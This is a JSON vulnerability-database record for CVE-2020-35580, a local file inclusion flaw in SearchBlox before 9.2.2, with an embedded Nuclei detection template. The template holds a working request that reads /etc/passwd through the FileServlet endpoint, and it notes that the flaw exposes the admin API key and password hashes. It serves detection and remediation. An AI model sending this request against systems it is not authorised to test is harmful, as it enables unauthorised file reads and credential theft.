{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2020-35580/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2020-35580/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2020-35580/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2020-35580/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2020-35580/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2020-35580"},"sightings":{"href":"/api/v1/sightings/cve-2020-35580"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2020/CVE-2020-35580.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2020-35580\n\ninfo:\n  name: SearchBlox <9.2.2 - Local File Inclusion\n  author: daffainfo\n  severity: high\n  description: SearchBlox prior to version 9.2.2 is susceptible to local file inclusion in  FileServlet that allows remote, unauthenticated users to read arbitrary files from the operating system via a /searchblox/servlet/FileServlet?col=url= request. Additionally, this may be used to read the contents of the SearchBlox configuration file (e.g., searchblox/WEB-INF/config.xml), which contains both the Super Admin API key and the base64 encoded SHA1 password hashes of other SearchBlox users.\n  impact: |\n    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.\n  remediation: |\n    Upgrade to SearchBlox version 9.2.2 or later to mitigate the vulnerability.\n  reference:\n    - https://hateshape.github.io/general/2021/05/11/CVE-2020-35580.html\n    - https://developer.searchblox.com/docs/getting-started-with-searchblox\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-35580\n    - https://github.com/ARPSyndicate/cvemon\n    - https://github.com/ARPSyndicate/kenzer-templates\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2020-35580\n    cwe-id: CWE-22\n    epss-score: 0.13975\n    epss-percentile: 0.96383\n    cpe: cpe:2.3:a:searchblox:searchblox:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: searchblox\n    product: searchblox\n  tags: cve2020,cve,lfi,searchblox,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/searchblox/servlet/FileServlet?col=9&url=/etc/passwd\"\n\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n# digest: 4a0a00473045022100b1f31239acc02f1e490a6803c391f4edac694b5dabb11dc09138e913afcef54302203d2eb6158fc498036651a2862a2252a4e27ea2203f5c56e3ffae7e215498e316:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2020-35580"}